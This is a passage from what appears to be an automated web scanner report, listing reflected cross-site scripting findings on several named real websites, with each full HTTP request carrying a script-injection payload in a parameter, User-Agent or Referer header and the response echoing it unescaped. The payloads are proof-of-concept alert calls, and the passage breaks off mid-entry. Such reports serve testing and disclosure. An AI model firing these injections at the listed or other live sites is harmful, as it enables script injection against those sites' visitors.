Summary

Severity:   High
Confidence:   Certain
Host:   http://www.educationdegreesource.com
Path:   /request_form.php

Request

GET /request_form.php?schoolId=157&RFIFormId=142&ProgID=15034&csource=Google&cmethod=search&cname=cb_onact&ccontent=Phoenix_aa_network_support_specialist_technician&cterm=Associate_Degree_in_computer_network_support&client=ca-dp-godaddy2_xml HTTP/1.1
Host: www.educationdegreesource.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)a581b"><script>alert(1)</script>affba30010d
Connection: close

Response

HTTP/1.1 200 OK
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Content-Type: text/html; charset=UTF-8
Date: Tue, 01 May 2012 00:12:02 GMT
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Pragma: no-cache
Server: Apache/2.2.9 (Fedora)
Set-Cookie: PHPSESSID=2n1k2phgku0v02kssgvhsaehg0; path=/
Vary: Accept-Encoding
X-Powered-By: PHP/5.2.6
Connection: Close
Content-Length: 77159

   
<!DOCTYPE html>
<html lang="en">
<head class="">
<meta charset="utf-8" />
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<meta http-equiv="Cache-Control" content="no-
...[SNIP]...
<input type="hidden" name="txtBrowser" value="Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)a581b"><script>alert(1)</script>affba30010d">
...[SNIP]...
1.51. http://www.educationdegreesource.com/request_form.php [ccontent parameter]
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.educationdegreesource.com
Path:   /request_form.php

Request

GET /request_form.php?schoolId=157&RFIFormId=142&ProgID=15034&csource=Google&cmethod=search&cname=cb_onact&ccontent=Phoenix_aa_network_support_specialist_technician1a226"><script>alert(1)</script>07ae471c30b&cterm=Associate_Degree_in_computer_network_support&client=ca-dp-godaddy2_xml HTTP/1.1
Host: www.educationdegreesource.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Content-Type: text/html; charset=UTF-8
Date: Tue, 01 May 2012 00:11:59 GMT
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Pragma: no-cache
Server: Apache/2.2.9 (Fedora)
Set-Cookie: PHPSESSID=2qdprrtnotl7u0fuilu8d7ucn0; path=/
Vary: Accept-Encoding
X-Powered-By: PHP/5.2.6
Connection: Close
Content-Length: 77159

   
<!DOCTYPE html>
<html lang="en">
<head class="">
<meta charset="utf-8" />
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<meta http-equiv="Cache-Control" content="no-
...[SNIP]...
<a href="/request_form.php?schoolId=157&RFIFormId=142&ProgID=15034&csource=Google&cmethod=search&cname=cb_onact&ccontent=Phoenix_aa_network_support_specialist_technician1a226"><script>alert(1)</script>07ae471c30b&cterm=Associate_Degree_in_computer_network_support&client=ca-dp-godaddy2_xml" class="info-links">
...[SNIP]...
1.52. http://www.educationdegreesource.com/request_form.php [client parameter]
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.educationdegreesource.com
Path:   /request_form.php

Request

GET /request_form.php?schoolId=157&RFIFormId=142&ProgID=15034&csource=Google&cmethod=search&cname=cb_onact&ccontent=Phoenix_aa_network_support_specialist_technician&cterm=Associate_Degree_in_computer_network_support&client=ca-dp-godaddy2_xmla0768"><script>alert(1)</script>5caccc26b3a HTTP/1.1
Host: www.educationdegreesource.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Content-Type: text/html; charset=UTF-8
Date: Tue, 01 May 2012 00:12:00 GMT
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Pragma: no-cache
Server: Apache/2.2.9 (Fedora)
Set-Cookie: PHPSESSID=h7dgkpfj8jhhdd1d0puf538pt3; path=/
Vary: Accept-Encoding
X-Powered-By: PHP/5.2.6
Connection: Close
Content-Length: 77159

   
<!DOCTYPE html>
<html lang="en">
<head class="">
<meta charset="utf-8" />
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<meta http-equiv="Cache-Control" content="no-
...[SNIP]...
rmId=142&ProgID=15034&csource=Google&cmethod=search&cname=cb_onact&ccontent=Phoenix_aa_network_support_specialist_technician&cterm=Associate_Degree_in_computer_network_support&client=ca-dp-godaddy2_xmla0768"><script>alert(1)</script>5caccc26b3a" class="info-links">
...[SNIP]...
1.53. http://www.educationdegreesource.com/request_form.php [cmethod parameter]
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.educationdegreesource.com
Path:   /request_form.php

Request

GET /request_form.php?schoolId=157&RFIFormId=142&ProgID=15034&csource=Google&cmethod=searchae2d8"><script>alert(1)</script>ffa21e48276&cname=cb_onact&ccontent=Phoenix_aa_network_support_specialist_technician&cterm=Associate_Degree_in_computer_network_support&client=ca-dp-godaddy2_xml HTTP/1.1
Host: www.educationdegreesource.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Content-Type: text/html; charset=UTF-8
Date: Tue, 01 May 2012 00:11:58 GMT
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Pragma: no-cache
Server: Apache/2.2.9 (Fedora)
Set-Cookie: PHPSESSID=2gelbednco0mfmvrv8gqjehnc5; path=/
Vary: Accept-Encoding
X-Powered-By: PHP/5.2.6
Connection: Close
Content-Length: 77159

   
<!DOCTYPE html>
<html lang="en">
<head class="">
<meta charset="utf-8" />
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<meta http-equiv="Cache-Control" content="no-
...[SNIP]...
<a href="/request_form.php?schoolId=157&RFIFormId=142&ProgID=15034&csource=Google&cmethod=searchae2d8"><script>alert(1)</script>ffa21e48276&cname=cb_onact&ccontent=Phoenix_aa_network_support_specialist_technician&cterm=Associate_Degree_in_computer_network_support&client=ca-dp-godaddy2_xml" class="info-links">
...[SNIP]...
1.54. http://www.educationdegreesource.com/request_form.php [cname parameter]
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.educationdegreesource.com
Path:   /request_form.php

Request

GET /request_form.php?schoolId=157&RFIFormId=142&ProgID=15034&csource=Google&cmethod=search&cname=cb_onact231f9"><script>alert(1)</script>b2ea8486c3b&ccontent=Phoenix_aa_network_support_specialist_technician&cterm=Associate_Degree_in_computer_network_support&client=ca-dp-godaddy2_xml HTTP/1.1
Host: www.educationdegreesource.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Content-Type: text/html; charset=UTF-8
Date: Tue, 01 May 2012 00:11:58 GMT
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Pragma: no-cache
Server: Apache/2.2.9 (Fedora)
Set-Cookie: PHPSESSID=dm5ceamdu50lva8qtot729sgi3; path=/
Vary: Accept-Encoding
X-Powered-By: PHP/5.2.6
Connection: Close
Content-Length: 77159

   
<!DOCTYPE html>
<html lang="en">
<head class="">
<meta charset="utf-8" />
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<meta http-equiv="Cache-Control" content="no-
...[SNIP]...
<a href="/request_form.php?schoolId=157&RFIFormId=142&ProgID=15034&csource=Google&cmethod=search&cname=cb_onact231f9"><script>alert(1)</script>b2ea8486c3b&ccontent=Phoenix_aa_network_support_specialist_technician&cterm=Associate_Degree_in_computer_network_support&client=ca-dp-godaddy2_xml" class="info-links">
...[SNIP]...
1.55. http://www.educationdegreesource.com/request_form.php [csource parameter]
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.educationdegreesource.com
Path:   /request_form.php

Request

GET /request_form.php?schoolId=157&RFIFormId=142&ProgID=15034&csource=Googleaf64b"><script>alert(1)</script>f2cae08d255&cmethod=search&cname=cb_onact&ccontent=Phoenix_aa_network_support_specialist_technician&cterm=Associate_Degree_in_computer_network_support&client=ca-dp-godaddy2_xml HTTP/1.1
Host: www.educationdegreesource.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Content-Type: text/html; charset=UTF-8
Date: Tue, 01 May 2012 00:11:57 GMT
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Pragma: no-cache
Server: Apache/2.2.9 (Fedora)
Set-Cookie: PHPSESSID=ffv5p1sd5jprrg2v38v5nbe2u1; path=/
Vary: Accept-Encoding
X-Powered-By: PHP/5.2.6
Connection: Close
Content-Length: 77159

   
<!DOCTYPE html>
<html lang="en">
<head class="">
<meta charset="utf-8" />
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<meta http-equiv="Cache-Control" content="no-
...[SNIP]...
<a href="/request_form.php?schoolId=157&RFIFormId=142&ProgID=15034&csource=Googleaf64b"><script>alert(1)</script>f2cae08d255&cmethod=search&cname=cb_onact&ccontent=Phoenix_aa_network_support_specialist_technician&cterm=Associate_Degree_in_computer_network_support&client=ca-dp-godaddy2_xml" class="info-links">
...[SNIP]...
1.56. http://www.educationdegreesource.com/request_form.php [cterm parameter]
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.educationdegreesource.com
Path:   /request_form.php

Request

GET /request_form.php?schoolId=157&RFIFormId=142&ProgID=15034&csource=Google&cmethod=search&cname=cb_onact&ccontent=Phoenix_aa_network_support_specialist_technician&cterm=Associate_Degree_in_computer_network_supporte4da7"><script>alert(1)</script>2e909851dc9&client=ca-dp-godaddy2_xml HTTP/1.1
Host: www.educationdegreesource.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Content-Type: text/html; charset=UTF-8
Date: Tue, 01 May 2012 00:11:59 GMT
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Pragma: no-cache
Server: Apache/2.2.9 (Fedora)
Set-Cookie: PHPSESSID=85avpk5n9bp3ide6v9o64j89n4; path=/
Vary: Accept-Encoding
X-Powered-By: PHP/5.2.6
Connection: Close
Content-Length: 77159

   
<!DOCTYPE html>
<html lang="en">
<head class="">
<meta charset="utf-8" />
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<meta http-equiv="Cache-Control" content="no-
...[SNIP]...
orm.php?schoolId=157&RFIFormId=142&ProgID=15034&csource=Google&cmethod=search&cname=cb_onact&ccontent=Phoenix_aa_network_support_specialist_technician&cterm=Associate_Degree_in_computer_network_supporte4da7"><script>alert(1)</script>2e909851dc9&client=ca-dp-godaddy2_xml" class="info-links">
...[SNIP]...
1.57. http://www.educationdegreesource.com/request_form.php [name of an arbitrarily supplied request parameter]
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.educationdegreesource.com
Path:   /request_form.php

Request

GET /request_form.php?schoolId=157&RFIFormId=142&ProgID=15034&csource=Google&cmethod=search&cname=cb_onact&ccontent=Phoenix_aa_network_support_specialist_technician&cterm=Associate_Degree_in_computer_network_support&client=ca-dp-godaddy2_xml&f893e"><script>alert(1)</script>0d7692cab50=1 HTTP/1.1
Host: www.educationdegreesource.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Content-Type: text/html; charset=UTF-8
Date: Tue, 01 May 2012 00:12:00 GMT
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Pragma: no-cache
Server: Apache/2.2.9 (Fedora)
Set-Cookie: PHPSESSID=rhken4vvp62m8ifk1g34469p74; path=/
Vary: Accept-Encoding
X-Powered-By: PHP/5.2.6
Connection: Close
Content-Length: 77162

   
<!DOCTYPE html>
<html lang="en">
<head class="">
<meta charset="utf-8" />
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<meta http-equiv="Cache-Control" content="no-
...[SNIP]...
mId=142&ProgID=15034&csource=Google&cmethod=search&cname=cb_onact&ccontent=Phoenix_aa_network_support_specialist_technician&cterm=Associate_Degree_in_computer_network_support&client=ca-dp-godaddy2_xml&f893e"><script>alert(1)</script>0d7692cab50=1" class="info-links">
...[SNIP]...
1.58. http://www.flowjamaica.com/index.php [ordering parameter]
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.flowjamaica.com
Path:   /index.php

Request

GET /index.php?option=com_search&Itemid=99999999&searchword=bc+search+layer+chec&searchphrase=any&ordering=newest4cfa6"%20style%3dx%3aexpression(alert(1))%20e3934f29383&limit=30&limitstart=30 HTTP/1.1
Host: www.flowjamaica.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Tue, 01 May 2012 00:12:28 GMT
Server: Apache/2.0.59 (CentOS)
X-Powered-By: PHP/5.1.6
Set-Cookie: 5184c6b5d7f0b5596283151f786da0d6=e7dc76442ec2765639c16a943bc4dd68; path=/
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Last-Modified: Tue, 01 May 2012 00:12:28 GMT
Cache-Control: no-store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 31092

<?xml version="1.0" encoding="iso-8859-1"?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/199
...[SNIP]...
utbox" size="1" onchange="document.location.href='http://www.flowjamaica.com/index.php?option=com_search&amp;Itemid=99999999&amp;searchword=bc search layer chec&amp;searchphrase=any&amp;ordering=newest4cfa6\" style=x:expression(alert(1)) e3934f29383&amp;limit=' + this.options[selectedIndex].value + '&amp;limitstart=30';">
...[SNIP]...
1.59. https://www.godaddy.com/gdshop/registrar/search.asp [User-Agent HTTP header]
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   https://www.godaddy.com
Path:   /gdshop/registrar/search.asp

Request

GET /gdshop/registrar/search.asp HTTP/1.1
Host: www.godaddy.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)cfb16<script>alert(1)</script>d31d2545e94
Connection: close

Response

HTTP/1.1 200 OK
Cache-Control: no-cache
Content-Length: 16698
Content-Type: text/html
Expires: Tue, 24 Apr 2012 01:32:18 GMT
Server: Microsoft-IIS/7.5
Set-Cookie: currency1=potableSourceStr=USD; expires=Tue, 30-Apr-2013 07:00:00 GMT; domain=.godaddy.com; path=/
Set-Cookie: traffic=referringdomain=&referringpath=&shopper=&querystring=msvar%3Dtrue&server=M1PWCORPWEB156&ci=&isc=&privatelabelid=1&page=%2Fgdshop%2Fbrowser%5Fupdate%2Easp&sitename=www%2Egodaddy%2Ecom&clientip=174%2E36%2E218%2E2&status=200+OK&referrer=&cookies=1; domain=.godaddy.com; path=/
Set-Cookie: serverVersion=A; domain=.godaddy.com; path=/
Set-Cookie: domainYardVal=%2D1; domain=.godaddy.com; path=/
Set-Cookie: adc1=US; expires=Mon, 07-May-2012 07:00:00 GMT; domain=.godaddy.com; path=/
Set-Cookie: ASPSESSIONIDSUDRDABD=NHMPNOICNHBBFFAFLNJLBABL; secure; path=/
X-Powered-By: ASP.NET
P3P: policyref="/w3c/p3p.xml", CP="COM CNT DEM FIN GOV INT NAV ONL PHY PRE PUR STA UNI IDC CAO OTI DSP COR CUR i OUR IND"
Date: Tue, 01 May 2012 00:12:17 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html>
<head>
<title>Browser Update Page</title>
<meta http-equiv="Content-T
...[SNIP]...
</B>Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)cfb16<script>alert(1)</script>d31d2545e94</b>
...[SNIP]...
1.60. http://www.mathias-bank.de/ [name of an arbitrarily supplied request parameter]
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.mathias-bank.de
Path:   /

Request

GET /?c7193"><script>alert(1)</script>24a53b30ed=1 HTTP/1.1
Host: www.mathias-bank.de
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 28 Apr 2012 11:56:50 GMT
Server: Apache/2.2.14 (Ubuntu)
X-Pingback: http://www.mathias-bank.de/xmlrpc.php
Set-Cookie: bb2_screener_=1335614210+174.36.218.2; path=/
Set-Cookie: PHPSESSID=98ce6d320c93c74983e7c4c1a3e856a4; path=/
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 52007

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head profile="http://gmpg.org/x
...[SNIP]...
<form enctype="multipart/form-data" action="/?c7193\"><script>alert(1)</script>24a53b30ed=1#usermessagea" method="post" class="cform" id="cformsform">
...[SNIP]...
1.61. http://www.vmware.com/resources/techresources/10044 [Referer HTTP header]
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.vmware.com
Path:   /resources/techresources/10044

Request

GET /resources/techresources/10044 HTTP/1.1
Host: www.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Referer: http://www.google.com/search?hl=en&q=e952a"><script>alert(1)</script>00c2482ca54

Response

HTTP/1.1 200 OK
X-Powered-By: PHP/5.1.6
Content-Type: text/html; charset=utf-8
Expires: Tue, 01 May 2012 03:52:51 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Tue, 01 May 2012 03:52:51 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: PHPSESSID=5tm66adjd92vc7aqre6rim3er4; expires=Thu, 24 May 2012 07:26:11 GMT; path=/
Set-Cookie: BIGipServerportal-prod-webgate-pool=1984721162.20480.0000; path=/
Set-Cookie: TSc99b3e=ce6944ffeb22aedadfb62b2dc33e8ef0abb1f043c06b19c14f9f5e13; Path=/
Content-Length: 77760

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<head>
<meta http-equi
...[SNIP]...
<a href="http://www.google.com/search?hl=en&q=e952a"><script>alert(1)</script>00c2482ca54">
...[SNIP]...
1.62. http://www.webveteran.com/ [Referer HTTP header]
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.webveteran.com
Path:   /

Request

GET / HTTP/1.1
Host: www.webveteran.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Referer: http://www.google.com/search?hl=en&q=23e1f'-alert(1)-'1d17e96f5c0

Response

HTTP/1.1 200 OK
Connection: close
Date: Tue, 01 May 2012 00:12:19 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Set-Cookie: CFID=23825818;expires=Thu, 24-Apr-2042 00:12:19 GMT;path=/
Set-Cookie: CFTOKEN=6550cb008174fe41-39431093-5056-A306-AF2E9F39C1671B80;expires=Thu, 24-Apr-2042 00:12:19 GMT;path=/
Set-Cookie: SKIP=1;expires=Tue, 08-May-2012 00:12:19 GMT;path=/
Content-Type: text/html; charset=UTF-8


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="e
...[SNIP]...
tom var is set to slot #1. Required parameter.
    'Refererb', // The name acts as a kind of category for the user activity. Required parameter.
    'http://www.google.com/search?hl=en&q=23e1f'-alert(1)-'1d17e96f5c0'//, // This value of the custom variable. Required parameter.
    //2 // Sets the scope to session-level. Optional parameter.
    ]);
    _gaq.push(['_trackEven
...[SNIP]...
1.63. http://www.yuiblog.com/blog/2010/09/27/clearfix-reloaded-overflowhidden-demystified [REST URL parameter 2]
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.yuiblog.com
Path:   /blog/2010/09/27/clearfix-reloaded-overflowhidden-demystified

Request

GET /blog/20103c033'><script>alert(1)</script>32b51a5ad62/09/27/clearfix-reloaded-overflowhidden-demystified HTTP/1.1
Host: www.yuiblog.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 404 Not Found
Date: Tue, 01 May 2012 00:12:22 GMT
Set-Cookie: BX=ft3jfet7puaj6&b=3&s=a6; expires=Tue, 02-Jun-2037 20:00:00 GMT; path=/; domain=.yuiblog.com
P3P: policyref="http://info.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV"
X-Pingback: http://www.yuiblog.com/blog/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Last-Modified: Tue, 01 May 2012 00:12:22 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Content-Type: text/html; charset=UTF-8
Age: 0
Connection: close
Server: YTS/1.19.11

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">

<head profile="http://gmpg.org/xf
...[SNIP]...
<area shape='rect' coords='0,0,16,11' href='http://www.yuiblog.com/blog/index.php/20103c033\'><script>alert(1)</script>32b51a5ad62/09/27/clearfix-reloaded-overflowhidden-demystified' id='flag_en' title='English'/>
...[SNIP]...
1.64. http://www.yuiblog.com/blog/2010/09/27/clearfix-reloaded-overflowhidden-demystified [REST URL parameter 3]
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.yuiblog.com
Path:   /blog/2010/09/27/clearfix-reloaded-overflowhidden-demystified

Request

GET /blog/2010/09358dc'><script>alert(1)</script>0b1c3d9b3e4/27/clearfix-reloaded-overflowhidden-demystified HTTP/1.1
Host: www.yuiblog.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 404 Not Found
Date: Tue, 01 May 2012 00:12:24 GMT
Set-Cookie: BX=4h2ihtt7puaj8&b=3&s=vv; expires=Tue, 02-Jun-2037 20:00:00 GMT; path=/; domain=.yuiblog.com
P3P: policyref="http://info.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV"
X-Pingback: http://www.yuiblog.com/blog/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Last-Modified: Tue, 01 May 2012 00:12:25 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Content-Type: text/html; charset=UTF-8
Age: 4
Connection: close
Server: YTS/1.19.11

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">

<head profile="http://gmpg.org/xf
...[SNIP]...
<area shape='rect' coords='0,0,16,11' href='http://www.yuiblog.com/blog/index.php/2010/09358dc\'><script>alert(1)</script>0b1c3d9b3e4/27/clearfix-reloaded-overflowhidden-demystified' id='flag_en' title='English'/>
...[SNIP]...
1.65. http://www.yuiblog.com/blog/2010/09/27/clearfix-reloaded-overflowhidden-demystified [REST URL parameter 4]
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.yuiblog.com
Path:   /blog/2010/09/27/clearfix-reloaded-overflowhidden-demystified

Request

GET /blog/2010/09/271ddc6'><script>alert(1)</script>591d15b0ead/clearfix-reloaded-overflowhidden-demystified HTTP/1.1
Host: www.yuiblog.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 404 Not Found
Date: Tue, 01 May 2012 00:12:27 GMT
Set-Cookie: BX=1auianp7puajb&b=3&s=jj; expires=Tue, 02-Jun-2037 20:00:00 GMT; path=/; domain=.yuiblog.com
P3P: policyref="http://info.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV"
X-Pingback: http://www.yuiblog.com/blog/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Last-Modified: Tue, 01 May 2012 00:12:27 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Content-Type: text/html; charset=UTF-8
Age: 2
Connection: close
Server: YTS/1.19.11

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">

<head profile="http://gmpg.org/xf
...[SNIP]...
<area shape='rect' coords='0,0,16,11' href='http://www.yuiblog.com/blog/index.php/2010/09/271ddc6\'><script>alert(1)</script>591d15b0ead/clearfix-reloaded-overflowhidden-demystified' id='flag_en' title='English'/>
...[SNIP]...
1.66. http://www.yuiblog.com/blog/2010/09/27/clearfix-reloaded-overflowhidden-demystified [REST URL parameter 5]
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.yuiblog.com
Path:   /blog/2010/09/27/clearfix-reloaded-overflowhidden-demystified

Request

GET /blog/2010/09/27/clearfix-reloaded-overflowhidden-demystified9ec2a'><script>alert(1)</script>28c49d83a94 HTTP/1.1
Host: www.yuiblog.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 404 Not Found
Date: Tue, 01 May 2012 00:12:29 GMT
Set-Cookie: BX=cbokhqd7puajd&b=3&s=nq; expires=Tue, 02-Jun-2037 20:00:00 GMT; path=/; domain=.yuiblog.com
P3P: policyref="http://info.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV"
X-Pingback: http://www.yuiblog.com/blog/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Last-Modified: Tue, 01 May 2012 00:12:29 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Content-Type: text/html; charset=UTF-8
Age: 2
Connection: close
Server: YTS/1.19.11

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">

<head profile="http://gmpg.org/xf
...[SNIP]...
<area shape='rect' coords='0,0,16,11' href='http://www.yuiblog.com/blog/index.php/2010/09/27/clearfix-reloaded-overflowhidden-demystified9ec2a\'><script>alert(1)</script>28c49d83a94' id='flag_en' title='English'/>
...[SNIP]...
1.67. http://www.yuiblog.com/blog/2010/09/27/clearfix-reloaded-overflowhidden-demystified [name of an arbitrarily supplied request parameter]
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.yuiblog.com
Path:   /blog/2010/09/27/clearfix-reloaded-overflowhidden-demystified

Request

GET /blog/2010/09/27/clearfix-reloaded-overflowhidden-demystified?359cf'><script>alert(1)</script>f003df0decc=1 HTTP/1.1
Host: www.yuiblog.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Tue, 01 May 2012 00:12:19 GMT
Set-Cookie: BX=d9i9s6d7puaj3&b=3&s=55; expires=Tue, 02-Jun-2037 20:00:00 GMT; path=/; domain=.yuiblog.com
P3P: policyref="http://info.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV"
X-Pingback: http://www.yuiblog.com/blog/xmlrpc.php
